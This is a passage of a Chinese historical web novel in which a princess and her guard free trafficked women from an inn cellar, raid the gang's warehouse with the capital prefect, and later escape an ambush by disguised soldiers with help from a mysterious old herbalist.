黎音袅看也没看被制住的掌柜,她的目光落在女子指向的地面,眼神骤然变得冰寒刺骨。她猛地直起身,声音清冽,带着不容置疑的命令:“来人!下去看看!” 跟随他们回来的几个侍卫早已蓄势待发,闻令而动,立刻拔出腰间的佩刀,护在黎音袅身前,朝着那隐蔽的地下入口冲去! “砰!”地下室的门被侍卫一脚踹开! 一股更加浓郁、令人作呕的气息扑面而来,混杂着霉味、药草味,还有绝望的气息。黑暗的地窖里,借着外面透进的光线,赫然显现出令人发指的一幕—— 狭小的空间里,横七竖八地蜷缩着十几个年轻女子!她们衣衫褴褛,形容枯槁,眼神空洞,如同失去了灵魂的木偶。有些人身上带着明显的伤痕,有些人则被铁链锁住了手脚。听到动静,她们惊恐地抬起头,麻木的眼睛里,充满了深入骨髓的恐惧和彻底的绝望。 当她们看到一身锦衣、容貌清丽却气势迫人的黎音袅时,那死寂的眼神里,终于有了一丝微弱的波动。 黎音袅的心脏像是被一只无形的手狠狠攥住。她胸口剧烈起伏,眼中怒火熊熊燃烧。她转头看向同样脸色铁青的江令舟。 “带她们走。”黎音袅的声音斩钉截铁,每一个字都像是从牙缝里挤出来的,带着凛冽的杀意,“全部带走!一个不留!” 江令舟重重点头,眼中同样怒意翻腾:“是!长公主!”他看向那些被囚禁的女子,声音沉稳有力,带着安抚人心的力量:“别怕,我们是来救你们的!这就带你们离开这个鬼地方!” 侍卫们开始搀扶那些女子。 她们动作迟缓,身体虚弱,每一步都带着恐惧。地窖里的气味令人窒息,混合着绝望。江令舟指挥着侍卫,试图加快速度,同时安抚这些惊魂未定的灵魂。“别怕,出来了,安全了。”他的声音压低,却无法完全驱散她们眼中的恐惧。 黎音袅站在地窖入口旁,看着一个个女子被扶出来。她们大多低着头,不敢看人,身体还在发抖。那个最先向她求助的女子,此刻被一个侍卫搀扶着,泪水无声地滑落。 “动作快!”黎音袅催促。此地不宜久留。那个掌柜被江令舟制住后,瘫在地上,眼神怨毒,却不敢再出声。客栈里弥漫着一种诡异的寂静,仿佛暴风雨前的宁静。 就在最后几个女子即将走出地窖时,客栈的大门【砰】地一声被人从外面撞开! 木屑飞溅! 十几个黑衣人如鬼魅般冲了进来,人人手持利刃,动作迅捷,目标明确。他们身上带着浓烈的杀气,瞬间充斥了整个空间。为首一人身材高大,蒙着面,只露出一双毫无感情的眼睛。 江令舟反应极快,几乎在门被撞开的瞬间,他便推开身前的侍卫,拔出腰间长剑,横在黎音袅与那些女子身前。“保护长公主!” 他一声断喝,迎着冲在最前面的两个黑衣人就冲了上去。【锵!】刀剑相击,火星四溅。 变故突生,那些刚刚被救出的女子发出压抑的惊叫,本就脆弱的神经再次绷紧,有人吓得瘫软在地,有人则缩成一团,瑟瑟发抖。 黎音袅心头一紧。这些人来得太快,目标明确,绝非偶然。“保护好她们!”她对身边的侍卫下令,同时将那个离她最近、吓得几乎晕厥的女子拉到自己身后。 侍卫们立刻分出一部分,将获救女子团团护在中间,其余人则拔刀加入战团,协助江令舟。 黑衣人的数量与侍卫相当,但武功明显高出一截。他们配合默契,攻势凌厉,招招都朝着要害而去,显然是专业的杀手。江令舟剑法精湛,力沉招猛,以一敌三,暂时还能支撑。但对方攻势如同潮水,连绵不绝,他身上的压力越来越大。 “你们是什么人?”黎音袅厉声喝问,试图扰乱对方心神。 黑衣人不答,攻势更急。为首那人更是直接对上了江令舟,刀刀狠辣,逼得江令舟只能全力防守,无法分神。 黎音袅看着战局。江令舟很强,但对方人多,且训练有素。侍卫们虽然忠勇,却渐渐落入下风,已经有人受伤倒地。她护着身后的女子,身体紧绷。这些人,是冲着谁来的?是冲着她,还是冲着这些被囚的女子?或者,两者皆是?那个掌柜瘫在地上,看到黑衣人出现,眼中闪过一丝快意,随即又被恐惧取代。 她快速扫视整个战场。江令舟的左臂被划开了一道口子,鲜血渗出,染红了他的衣袖。虽然伤口不深,但对方的刀显然喂了毒,江令舟的动作开始出现一丝迟滞。 不能再等下去了。 黎音袅的视线落在地上。刚才侍卫踹门、打斗,弄得一片狼藉,地上散落着桌椅的碎片。她看到一截断裂的椅腿,大约两尺长,手腕粗细,就在她脚边不远。 她弯腰,捡起了那根【木棍】。 第64章 安顿 此刻,黑衣首领正全力猛攻江令舟,试图尽快解决这个最强的对手。他的注意力高度集中,每一刀都凝聚了力量。江令舟咬牙抵挡,剑锋交错,发出刺耳的摩擦声。 就是现在。 黎音袅看准了黑衣首领一次全力劈砍、旧力已尽新力未生、背对自己露出的那个短暂空隙。她没有丝毫犹豫,握紧木棍,猛地冲上前几步。 她的动作快而无声,带着一股决绝。 黑衣首领似乎察觉到身后的异动,想要转身,但已经迟了。 黎音袅用尽全身力气,将手中的木棍狠狠砸向他持刀手臂的关节处!【咔嚓!】一声闷响伴随着骨头错位的声音。 “呃啊!”黑衣首领发出一声痛苦的闷哼,握刀的手臂瞬间失去力量,长刀脱手落地。【当啷!】 他踉跄一步,难以置信地回头看向黎音袅。那双毫无感情的眼睛里,第一次出现了惊愕和剧痛。 这突如其来的变故让所有黑衣人都愣了一下。 “杀!”江令舟抓住了这个千载难逢的机会。他忍着手臂的刺痛,一声怒吼,长剑如同毒蛇出洞,瞬间刺穿了离他最近一个黑衣人的咽喉。 首领受伤,阵型已乱! “撤!”黑衣首领捂着脱臼的手臂,发出嘶哑的命令。他恶狠狠地盯了黎音袅一眼,那眼神如同淬毒的匕首。 剩余的黑衣人不再恋战,互相掩护着,迅速朝门口退去。他们动作依旧迅捷,几个起落便消失在客栈之外的夜色中。 江令舟没有追击,他反手一剑,将瘫在地上的掌柜彻底了结,然后走到黎音袅身边,看着她,眉头紧锁。“殿下,你没事吧?”他的声音带着一丝后怕。刚才那一瞬,太险了。 黎音袅扔掉手中的木棍,摇了摇头。“我没事。你受伤了。”她看向江令舟流血的手臂。 “皮外伤,不碍事。”江令舟撕下衣摆,草草包扎了一下伤口,“此地不宜久留,我们必须立刻离开。” 黎音袅点头,看向那些惊魂未定的女子。“扶上她们,我们走。” 侍卫们应声,再次搀扶起那些女子。经历刚才的厮杀,她们的恐惧更深了,但求生的本能让她们努力跟上。 一行人迅速离开了这家如同地狱般的客栈,消失在沉沉的夜色里。江令舟断后,警惕地注视着身后可能出现的追兵。 黎音袅走在队伍中间,护着那些女子。她回头看了一眼客栈的方向,黑暗吞噬了一切。 “走。”她催促道。 夜色浓重,他们带着女子们找到了一处偏僻的尼姑庵。 庵堂里的尼姑们惊魂未定,但在江令舟亮出身份后,还是接纳了这些女子。黎音袅将她们安顿在禅房里,递上清水和干粮。女子们依旧颤抖,眼神空洞。 “你们别怕,这里是安全的。”黎音袅放轻声音。 一个年纪稍长的女子,哭着说了几句模糊的话,断断续续。黎音袅和江令舟耐心地听着,试图拼凑出有用的信息。 “那客栈……不是寻常地方……他们抓人……”女子声音发颤。 “抓什么人?”江令舟问。 “年轻的……好看的……”另一个女子接话,声音极低,“送到京城……给大人物……” “大人物?”黎音袅心中一沉。 “不知道……他们不让说……只听老妇人说过几句……好像是京城里的……贵人……” 她们能提供的信息有限,都是道听途说,或是无意中听到的只言片语。关于那个团伙的头目、据点位置,她们一无所知,只知道客栈的老妇人和掌柜是负责看守她们的人。 “她们知道的不多。”江令舟在庵堂一角低声对黎音袅说。 “但至少确定了方向。”黎音袅看着禅房里蜷缩在一起的女子们,“京城,权贵。这事比我们想的要大。” “殿下打算怎么办?” “查下去。”黎音袅语气肯定,“这些人渣,必须铲除。” “京城权贵牵扯其中,恐怕阻力不小。” “阻力再大,也得查。”黎音袅说,“从何查起?” “她们提到了京城据点。”江令舟说,“但不知道具体位置。” “老妇人和掌柜已死,无法审问。”黎音袅沉思片刻,“她们有没有提到过什么特别的记号、暗语,或者去京城时经过的地方?” 女子们努力回忆,终于有一个女子说:“我……我好像听到老妇人说起过一个地方……好像叫……柳巷?” “柳巷?”江令舟皱眉,“京城的柳巷鱼龙混杂,不是什么据点的名字。” “也许不是据点,是交易地点?”黎音袅猜测,“或者只是一个代号。” “不管是什么。”江令舟说,“柳巷是唯一的线索。” 他们没有在尼姑庵久留。安顿好女子,留下足够的银两给尼姑们,黎音袅和江令舟便连夜启程,赶往京城。 一路上,他们小心翼翼,避开官道,选择偏僻的小路。江令舟在前探路,黎音袅在后策应。两人都清楚,那个黑衣首领虽然手臂受伤,但绝不会善罢甘休,客栈的覆灭,可能会惊动他背后的势力。 进入京城时,天色刚蒙蒙亮。京城城门守卫森严,但江令舟有腰牌,顺利通过。 京城比他们想象的要平静,或者说,表面平静。大街上已经有人影晃动,早点铺冒着热气。很难想象,在这座繁华的都城之下,隐藏着那样肮脏的勾当。 “柳巷。”黎音袅说,“先去那里看看。” 柳巷位于京城偏南的一处区域,以青楼楚馆、酒肆茶楼居多,是三教九流汇集之地。他们没有直接进入柳巷,而是在外围观察。 “这种地方,据点设在这里倒也合理。”江令舟说,“方便隐藏,人来人往,不容易被注意。” “但也很难找。”黎音袅说,“柳巷这么大,我们怎么确定是哪里?” “先打听打听。”江令舟说,“有没有什么地方最近异常,或者有什么新开的铺子?” 他们在柳巷外围转了几圈,进了一家茶馆。茶馆里人声嘈杂,是打听消息的好地方。江令舟坐在角落,耳朵竖起,听着周围的谈话。黎音袅则不动声色地观察着进出的人。 “最近柳巷有什么新鲜事吗?”江令舟问茶博士。 茶博士是个中年人,眼珠灵活:“新鲜事?多着呢!就是最近北边那条巷子,有个宅子空了许久,前些日子突然来了些生面孔,看着不像善茬。” “哦?什么样的人?” “不知道,白天很少见人,晚上偶尔能看到几个黑衣人在门口晃悠。”茶博士压低声音,“看着就透着一股子邪气。” “宅子是什么样的?”黎音袅插话。 “挺大的宅子,门口有两棵老槐树。”茶博士说,“就在北边那条巷子最里面。” 北边巷子最里面的大宅子,门口有老槐树,最近来了些生面孔,晚上有黑衣人。这描述与他们要找的据点似乎吻合。 “走。”黎音袅起身。 他们离开了茶馆,朝着柳巷北边的那条巷子走去。巷子越往里走越偏僻,尽头果然有一座大宅子,门口立着两棵枝繁叶茂的老槐树。宅子大门紧闭,院墙很高。 江令舟绕着宅子走了一圈,观察着地形。 “院墙很高,不好翻。”江令舟说,“门口也没有守卫。” “白天当然没有。”黎音袅说,“茶博士说晚上才有黑衣人。” “硬闯不是办法。”江令舟说,“里面可能有陷阱。” 第65章 没时间了 “潜进去。”黎音袅说。 “白天?”江令舟有些意外。 “越是戒备森严的地方,白天越容易放松警惕。”黎音袅说,“而且,他们可能没想到我们会这么快找来,更没想到我们敢白天潜入。” “风险很大。” “但值得一试。”黎音袅说,“我们没有时间等晚上。” 他们找了一处相对隐蔽的地方,观察了片刻。确定周围没有可疑人物后,江令舟率先行动。他身手矫健,几个起落便翻上了院墙。黎音袅紧随其后,在江令舟的帮助下也翻了进去。 院子里杂草丛生,显然无人打理。空气中弥漫着一股陈旧和腐败的气息。他们小心翼翼地落地,没有发出一点声音。 “没人。”江令舟低声说。 他们潜行在院子里,朝着正屋摸去。推开房门,屋内光线昏暗,一股灰尘味扑面而来。 “空了。”黎音袅说。 屋子里空空荡荡,桌椅蒙尘,没有任何生活的痕迹。他们继续往里走,逐个房间查看。卧室、书房、库房……所有地方都空无一人,连一件像样的家具都没有留下。 “他们跑了。”江令舟说。 “为什么会这么快?”黎音袅眉头紧锁,“客栈的事情才过去多久?” “也许他们有特殊的联络方式。”江令舟猜测,“或者……我们在客栈的行动,惊动了更大的人物,所以他们提前撤离了。” “更大的人物……”黎音袅脑海中闪过那些女子提到的“京城贵人”。 他们在宅子里仔细搜寻,希望能找到一些残留的线索。在书房里,他们发现地上有一些纸张碎片,像是被撕碎后随意丢弃的。黎音袅蹲下身,捡起碎片,试图拼凑。 碎片很小,字迹模糊。只能勉强辨认出一些词语:“货物”、“交接”、“码头”、“船期”…… “码头?”江令舟说。 “看来他们是通过水路运输。”黎音袅说,“不是京城附近的码头,就是运往其他地方。” “还有别的吗?” 黎音袅摇了摇头,碎片太零散,无法拼凑出完整的信息。 在另一个房间,他们发现地上有一个打翻的木箱,里面是一些零散的工具,还有几件黑色的衣物,和袭击客栈的黑衣人穿的相似。这些东西似乎是撤离时匆忙遗落的。 “他们走得很急。”江令舟说。 “急到连这些东西都来不及带走。”黎音袅说,“这不像是早有准备的撤离。” “也许是临时接到命令。” 黎音袅环顾四周,这座宅子除了空荡和灰尘,没有任何有价值的线索。团伙似乎蒸发了一样。 “线索断了。”江令舟说。 黎音袅没有说话,她的目光落在地上那些撕碎的纸片上。码头、船期……这些词语在她脑海中盘旋。 “走。”她站起身。 他们没有多做停留,迅速离开了这座空宅子。潜回柳巷外围,混入人群。 “下一步怎么办?”江令舟问。 “他们去了码头。”黎音袅说,“京城附近的码头不少。” “要逐个排查?” “来不及。”黎音袅说,“他们既然走得这么急,很可能已经登船了。” “那……” 黎音袅看着京城繁华的街道,心中涌起一股无力感。团伙藏匿在京城深处,背后又有权贵支持,他们就像藏在阴影里的毒蛇,难以追踪。 “他们是谁?”黎音袅低语。 “殿下?” “那些权贵,到底是谁?”黎音袅问。 江令舟沉默。京城权贵盘根错节,牵一发而动全身。没有确凿证据,无法指认任何人。 “我们得找到他们新的据点。”黎音袅说,“或者,找到他们与权贵勾结的证据。” “怎么找?” 黎音袅没有立即回答。她知道,接下来的路会更加艰难。在京城这个漩涡中心,每一步都可能踏入陷阱。 “先回府。”黎音袅说,“我们需要重新梳理线索。” 他们混在人群中,朝着黎音袅在京城的府邸走去。阳光开始变得强烈,街上的行人越来越多。没有人注意到,这两个不起眼的身影,正肩负着一个可能动摇京城根基的秘密。 黎音袅走在前面,江令舟跟在她身后,警惕地观察着四周。他们的调查才刚刚开始,但已经感受到了背后势力的庞大和狡猾。 “码头……”黎音袅心中默念着那个词,她知道,那是唯一的方向。 他们拐过街角。 在一家茶馆停留。 黎音袅摊开几张京城地图。江令舟站在一旁,看着窗外。 “京城权贵,往来信件,交易记录。”黎音袅手指点在地图上几个区域,“这些东西,寻常人碰不到。” “殿下想怎么做?”江令舟问。 “官府备案的商贸往来或许有迹可循,但私下交易,尤其是见不得光的,不会留下明面记录。”黎音袅说,“除非,能拿到他们内部的账本,或是截获他们的密信。” 江令舟没有说话。这比大海捞针更难,也更危险。 “那些货物,需要地方存放,需要人手看管。”黎音袅继续思考,“他们既然能在京城藏匿这么久,必然有固定的落脚点,甚至不止一处。” “我们的人手不够。”江令舟陈述事实。 “所以,我们需要帮手。”黎音袅抬头,“京兆府尹,王正,为人如何?” “据说刚正不阿,但行事谨慎。”江令舟回答,“没有实证,他不会轻易调动府衙力量。” “证据……”黎音袅沉吟,“码头,船期,货物,交接……这些碎片指向的是交易。交易,就需要银钱流动。”她看向江令舟,“京城各大钱庄、商号的流水,特别是涉及外地或者大额的,能不能查到?” “很难。”江令舟说,“这些都是各家的机密。” “总有办法。”黎音袅站起身,“你先去查访京城内外所有码头近期离港的大宗货物记录,特别是去向不明或者收货人可疑的。我去找王正。” “殿下,没有凭据,他未必肯见。” “我会让他见的。”黎音袅说。 数日过去,进展甚微。江令舟查到的码头记录繁杂,筛选不出明确目标。黎音袅数次拜访京兆府,王正都以公务繁忙推脱。 第66章 四海通 这天傍晚,江令舟带回一个消息:“查到一家名为四海通的商号,近一个月有几笔大额银钱往来,收款方用的都是代号,银钱最终流向不明,但中转地涉及城南一处货运集散点。” “四海通?”黎音袅重复,“做什么生意的?” “表面是南北杂货,但流水与其生意规模不符。”江令舟说,“而且,这家商号的东家,与户部侍郎周康的内侄有些往来。” “周康……”黎音袅思索片刻,“继续查四海通和那个集散点。另外,备一份厚礼,再去拜访王正。” 这一次,王正见了黎音袅。书房内,只有他们两人。 “殿下屡次到访,不知有何要事?”王正的态度客气,但不热情。 “为了一桩案子。”黎音袅直接说明,“一伙穷凶极恶之徒,在京城内外犯下多起案件,拐带人口,手段残忍。” 王正眉头微动:“京兆府并未接到此类报案。” “因为他们行事隐秘,且背后可能有人撑腰。”黎音袅递过一份卷宗,“这是我们目前查到的一些线索。” 王正接过,仔细翻阅。上面记录了客栈遇袭、空宅发现的线索,以及对四海通商号的初步调查。 “四海通?周侍郎的内侄?”王正放下卷宗,“殿下,仅凭这些,不足以让本官动用府衙力量进行大规模搜查。京城牵一发而动全身。” “我不需要大规模搜查。”黎音袅说,“我需要府尹大人配合,突袭一个地方。” “哪个地方?” “城南,四海通租用的那处货运仓库。”黎音袅说,“我有理由相信,那里是他们新的据点。” 王正看着黎音袅,似乎在评估她话语的分量和风险。“殿下有多大把握?” “五成。”黎音袅回答,“但若让他们再次转移,下次连一成都不会有。” 王正沉默了很久。“此事干系重大,一旦出错……” “所有责任,我一人承担。”黎音袅说。 “好。”王正最终点头,“需要多少人手,何时行动?” “今晚亥时。需要五十名精干捕快,封锁仓库所有出口,听我号令行事。”黎音袅说。 “五十人……”王正略微迟疑,“可以。本官会让府丞赵立带队配合殿下。” “多谢府尹大人。” 亥时,夜色深沉。城南仓库区一片寂静。 黎音袅和江令舟带着便衣的京兆府捕快,悄无声息地靠近了四海通租用的那座仓库。府丞赵立跟在王正推荐的一位都头身边,表情严肃。 仓库外围有暗哨。江令舟带人迅速解决了他们。 黎音袅做了个手势,一部分捕快散开,封锁各个出口。 “行动!”黎音袅低喝一声。 大门被撞开,捕快们涌入仓库。里面果然灯火通明,人影晃动。 “官府办案!不许动!”赵立身边的都头大喊。 仓库内瞬间大乱。有人拔刀抵抗,有人试图从后门或窗口逃窜。 黎音袅和江令舟冲在最前面。江令舟身手利落,接连放倒几个持械抵抗的歹徒。黎音袅的目标明确,她看到了那个熟悉的老妇人,正指挥着几个人搬运箱子。 “抓住她!”黎音袅喊道。 几个捕快冲向老妇人。老妇人眼神狠厉,抓起旁边一个工具砸向捕快,转身就跑。 混乱中,黎音袅还看到了那个客栈掌柜,他正试图混在被捕的人群里蒙混过关。 “江令舟,那个掌柜!” 江令舟立刻转向,几个起落便将试图躲藏的掌柜擒住。 战斗很快接近尾声。大部分歹徒被制服,老妇人也被堵在角落,束手就擒。仓库里查抄出大量未来得及转移的货物——被囚禁的年轻女子,以及一些金银细软和兵器。 赵府丞看着眼前的景象,脸色发白。“殿下,这些人……” 黎音袅没有理会他,她在寻找。“头目呢?” 被捕的歹徒要么闭口不言,要么声称不知道谁是头目。 就在这时,仓库深处传来一声闷响爆炸声,一股浓烟冒出。 “不好!”江令舟喊道。 他们冲向浓烟处,发现墙角被炸开一个洞,通向外面漆黑的巷子。洞口还残留着硝烟的味道。 “有人从这里跑了!”一名捕快喊道。 赵府丞身边的那个都头带人追出去,但很快就空手而归。“人跑远了,巷子四通八达,追不上了。” 黎音袅看着那个洞口,又看了看那位回报的都头。 “头目跑了。”江令舟走到她身边。 大部分成员落网,包括老妇人和掌柜,算是一次胜利。但真正的首脑,那个藏在最深处的人,又一次消失在阴影里。 黎音袅走到被捆绑的老妇人面前。“你们的头领是谁?他去了哪里?” 老妇人抬起头,脸上是怨毒的笑容,她啐了一口,没有说话。 “殿下,人犯和缴获的赃物如何处理?”赵府丞上前请示。 “全部带回京兆府,严加审问。”黎音袅说。 捕快们开始押送人犯,清理现场。 黎音袅看着忙碌的场面,心中的无力感再次涌现,但很快被一股更强烈的决心取代。 “他跑不远。”黎音袅对江令舟说。 江令舟点头。 抓捕继续。 京兆府的喧嚣被抛在身后。 车队驶出城门,官道向南延伸。黎音袅坐在马车里,京城仓库区的混乱似乎还未散去。那个逃脱的头目,像一根刺,扎在心头。她掀开车帘一角,看向外面。江令舟骑马护在车旁,他安排的侍卫前后护卫,警惕四周。 “京兆府那边,赵立会继续审问。”江令舟的声音从车外传来。 “嗯。”黎音袅应了一声。她不认为那些被抓的人会轻易吐露核心信息,尤其是那个老妇人,她的沉默带着一种决绝。那个头目,能在重重包围下用爆炸脱身,绝非等闲之辈。 “此去路途遥远,殿下不必过于忧心京城之事。”江令舟又说。 黎音袅放下车帘。“忧心也无用。当前之事,是顺利抵达南方。”她靠着车壁,闭目片刻。那晚的硝烟味,仿佛还萦绕在鼻尖。 车队行进了一个时辰,逐渐远离了京畿繁华之地,进入一片丘陵地带。官道两侧树木渐密。 突然,前方传来侍卫的呼喝声,接着是兵刃相击的锐响。 马车骤然停下。 “保护殿下!”江令舟的声音响起,带着命令。 黎音袅立刻坐直身体,撩开车帘。前方官道上,不知何时出现了数十名黑衣人,手持刀剑,正与前方的侍卫激战。后方,同样有喊杀声传来,他们被包围了。 “山贼?”黎音袅问。 第67章 山贼? 江令舟已经拔剑在手,指挥侍卫结成防御阵型,将马车护在中央。“不像普通山贼。”他回答,眉头紧锁,“装备统一,行动有素。” 箭矢破空而来咻咻声,射向马车。几名侍卫立刻举盾格挡。 “叮叮当当”一阵乱响,箭矢被挡开,但攻势并未停止。 江令舟策马上前,剑光闪烁,瞬间将两名冲近的黑衣人斩落马下。他的侍卫也都是精锐,一时间挡住了对方的冲击。 黎音袅看着战况。这些袭击者人数众多,攻势凌厉,但似乎并不急于下杀手,更像是在缠斗,消耗。他们配合默契,不断冲击侍卫的防线,却又在关键时刻留有余地,避免造成决定性的伤亡,也避免自身出现重大损失。 “他们想做什么?”黎音袅自语。 江令舟回撤到马车旁,抹去剑上的血迹。“拖延。” “拖延?”黎音袅重复了一遍。她想到了那个逃脱的头目,想到了仓库里未被完全查清的势力。“拖延时间,等什么?” 侍卫们奋力抵抗,不断有人受伤。黑衣人的攻击如同潮水,一波接一波,韧性十足。 一名侍卫匆忙来报:“江将军,东面山坡有动静!” 黎音袅与江令舟同时向东面望去。远处山脊线上,隐约出现了一片移动的阴影,尘土扬起。虽然距离尚远,但能看出那不是散兵游勇,而是成建制的队伍。旗帜未明,盔甲在日光下反射着微光。 那绝不是山贼。 “军队?”江令舟的声音低沉。 黎音袅的心沉了下去。先是组织严密的“山贼”围困,然后是远处的军队。这不是巧合。这是预谋。 “他们不是冲我们来的,”黎音袅迅速判断,“或者说,不全是冲我们来的。这伙‘山贼’是诱饵,是绊马索,真正的主力在那边。” “长公主是说……”江令舟看向远方,“这支军队的目标,可能是我们,也可能……” “可能只是‘路过’,顺便解决掉被山贼困住的我们。”黎音袅接口,“或者,山贼就是他们放出来的,目的就是将我们困在这里,动弹不得。” 她脑中快速闪过各种可能。京城的势力延伸到了这里?还是南方的某些人不想让他们顺利抵达?亦或是,那个逃脱的头目,拥有调动军队的力量?这不可能。除非…… “江令舟,我们不能被困死在这里。”黎音袅做出决定,“让一部分人缠住这些山贼,我们必须立刻转向,避开那支军队的行进路线。” “转向?”江令舟看了一眼周围的地形,“两侧都是密林,只有这条官道最快。而且,对方显然算准了我们的路线。” “那就进林子。”黎音袅说,“他们人多,进林子反而施展不开。而且,那支军队的目标是大路,未必会为了追我们深入密林。” “林中地形复杂,马车难行。”一名侍卫提醒。 “弃车。”黎音袅毫不犹豫,“带上必要的东西,轻装简行。” 江令舟看了黎音袅一眼,立刻明白了她的意图。与其在这里被两面夹击,不如冒险一搏。“听殿下号令!”他对周围的侍卫喊道,“分出十人,挡住他们!其余人,保护殿下,准备进林!” “是!” 命令迅速传达下去。留下的十名侍卫爆发出强大的战力,死死缠住那些黑衣“山贼”。 黎音袅在侍卫的护卫下,快速下了马车。江令舟也翻身下马,走到她身边。 “长公主,这边。”他指向南侧的密林。 黑衣人似乎察觉到了他们的意图,攻势变得更加猛烈,试图阻止他们脱离。 “走!”江令舟断后,手中长剑挥舞,逼退几名冲上来的黑衣人。 黎音袅不再回头,跟着侍卫冲向林缘。脚下是松软的泥土和枯叶。 “长公主,我们对这片区域不熟,贸然入林……”一名侍卫有些担忧。 “不入林,就是等死。”黎音袅打断他,“那支军队一旦靠近,我们毫无胜算。” 她回头望了一眼官道方向,喊杀声依旧激烈。那十名留下断后的侍卫,凶多吉少。远处山脊上的军队轮廓,似乎更清晰了一些,带着一种无声的压迫感。 这背后到底是谁?如此大的手笔,目标仅仅是她这个失势的公主,和一个护卫统领?她不相信。这更像是一个局,一个针对更大目标的局,而他们,恰好撞了进来,或者说,被设计撞了进来。 进入密林,光线骤然暗淡。树木遮天蔽日,方向难辨。 江令舟很快追了上来,他身上沾了些血迹,但并非他自己的。“甩掉了大部分,但还有尾巴跟着。” “速度快些,找个地方隐蔽,或者想办法绕出去。”黎音袅说。 队伍在林中快速穿行。周围只有脚步声和粗重的呼吸声。 “江将军”黎音袅忽然开口,“你觉不觉得,这些‘山贼’的打法,很像军中操练的路数?” 江令舟脚步一顿。“殿下也看出来了?他们的配合、进退,确实不像乌合之众。” “所以,外面的‘山贼’和远处的‘军队’,可能本就是一体。”黎音袅说出推测,“只是分工不同。” 这个推测让气氛更加凝重。这意味着他们面对的是一支有预谋、有组织的军事力量,伪装成山贼发动袭击,再以主力军队完成合围或清剿。 “无论他们是谁,我们得先活下去。”江令舟说。 他们继续深入林中。 突然,前方探路的侍卫停下脚步,做了个警戒的手势。 江令舟上前几步,低声问:“怎么了?” “前面……好像有人。”侍卫回答。 一行人立刻隐蔽起来。 黎音袅拨开眼前的树枝,看向前方。密林深处,影影绰绰,似乎真的有人影晃动。不是追兵,追兵在后面。那是谁?是这支神秘军队提前布置的暗哨,还是林中原有的猎户或其他人? 未知的危险,潜伏在前方。后面的追兵,越来越近。远处的军队,如同悬顶之剑。 黎音袅握紧了袖中的匕首。 江令舟打出手势,示意众人保持安静,准备应对 第68章 相助 前方林影晃动,牵动着所有人的神经。 黎音袅的心跳擂鼓一般,她屏住呼吸,手指扣紧了袖中匕首的柄。后面是追兵,远方是军队,现在,前方又出现了未知的人影。江令舟已经拔出半截长剑,剑身在昏暗林光下反射出冷冽的光。他侧身挡在黎音袅身前,身体紧绷,准备迎敌。侍卫们也各自握紧兵器,散开一个防御的小阵型,将黎音袅护在中心。 林中的寂静被无限放大,只有风吹过树叶的沙沙声,以及他们自己压抑的呼吸。那晃动的人影似乎不止一个,影影绰绰,难以分辨具体数目和意图。 是敌是友? 黎音袅脑中快速盘算。若是敌人提前布下的埋伏,他们此刻就是瓮中之鳖。若是碰巧遇上的林中人,又会带来什么变数? “要不要先下手为强?”一名侍卫低声问江令舟,声音里带着急促。 江令舟没有回答,只是盯着前方。先动手可能暴露位置,引来后方追兵;不动,又可能被前方的人包抄。 就在这进退两难,空气几乎凝固的时刻,一阵笛声毫无预兆地响起。 呜——咽—— 曲调并不激烈,反而带着一种奇异的舒缓感,像是山涧流水,又像是晚风拂过松涛。笛声悠扬,在这肃杀的密林中显得格格不入,却又奇异地安抚了众人紧绷的神经。连带着那份剑拔弩张的气氛,也似乎被笛声冲淡了少许。 黎音袅皱起眉。这笛声……不像陷阱。 随着笛声的靠近,一个身影从树木的阴影中走了出来。那是一个老者,身着洗得发白的素色袍子,头发花白,梳理得一丝不苟。他手中握着一支青竹笛,正是笛声的来源。他步伐不快,却很稳,脸上皱纹深刻,一双眼睛看向他们,没有敌意,只有一种平和的审视。 老者停下脚步,笛声也随之停止。他看了看江令舟手中的剑,又看了看他们这一行人的狼狈与警惕。 “林中凶险,诸位为何在此疾行?”老者开口,声音苍老,但清晰。 江令舟没有收剑,只是反问:“老丈是何人?为何在此吹笛?” “老朽姓秦,是个山中采药的医者,隐居在此有些年头了。”老者坦然回答,“听闻这边喊杀声起,林鸟惊飞,恐有意外,便过来看看。至于吹笛,不过是驱赶些蛇虫罢了。” 采药的医者?黎音袅打量着老者。他衣着朴素,气质平和,不像作伪。但这出现得太巧了。巧合,往往意味着不是巧合。 “我们遇到些麻烦,被仇家追赶。”江令舟言简意赅,“老丈可知离开这片密林的路?” 老者点点头:“这片山林,沟壑纵横,岔路极多,不熟的人进来,很容易迷失方向,甚至闯入野兽盘踞的险地。你们若信得过老朽,我可以为你们引路,带你们去往南边的大路。” 黎音袅看向江令舟。江令舟也正看着她,眼神询问她的意思。 信,还是不信? 后面追兵的脚步声似乎隐约可闻。远处山脊上的军队,更是一把悬顶的利刃。他们没有时间犹豫,也没有更好的选择。 “那就麻烦老丈了。”黎音袅开口做了决定。她对江令舟示意,“收剑吧。” 江令舟略一迟疑,还是将剑归鞘,但手并未离开剑柄。“请老丈带路。” “好,随我来。动作快些,莫要喧哗。”秦老者转身,向着林子更深处走去。他的背影在林木间若隐若现。 一行人立刻跟上。侍卫们依旧保持着警惕,将黎音袅护在中间。 秦老者对这片山林确实熟悉。他走的并非直线,时而穿过茂密的灌木丛,时而沿着陡峭的坡地边缘行进,甚至有几次,他带着众人涉过浅浅的溪流,利用水流掩盖足迹和气味。他选择的路径,往往出人意料,却总能避开看似难以通行的障碍。 黎音袅留意到,秦老者总能在关键时刻停下,侧耳倾听片刻,然后调整方向。几次之后,后方隐约传来的追兵声响,彻底消失了。 “他们似乎被甩掉了。”江令舟低声对黎音袅说。 黎音袅点头。这位秦老者的本事,绝不仅仅是一个普通采药人那么简单。他对地形的利用,对追踪与反追踪的技巧,都透着不寻常。 “老丈”黎音袅忍不住开口,“您为何会选择隐居在这深山之中?” 秦老者脚步未停,声音从前方传来:“老了,厌倦了外面的打打杀杀,寻个清静地方,种种草药,了此残生罢了。” 这个回答,标准得像早就准备好了。黎音袅不信。一个能在这复杂局势下精准出现,又能轻易甩掉那些军中路数追兵的人,会只是个厌倦尘世纷争的普通医者? “尘世纷争?”黎音袅追问,“老丈似乎对外界之事并非一无所知。” 秦老者呵呵笑了两声:“山中岁月长,偶尔也会有迷路的、受伤的过客带来些外面的消息。听得多了,也就知道个大概。公主殿下,前面不远,就是通往南边官道的小路了。” 他准确地叫出了她的身份。 黎音袅心头一震。她自始至终并未表明身份,侍卫们也只称呼她“殿下”。这个老者,从何得知? 江令舟的手再次按住了剑柄,看向老者的背影,充满了戒备。 秦老者仿佛未觉,继续往前走。又行了一段路,前方林木渐疏,隐约可见一条被落叶覆盖的路径蜿蜒向前。 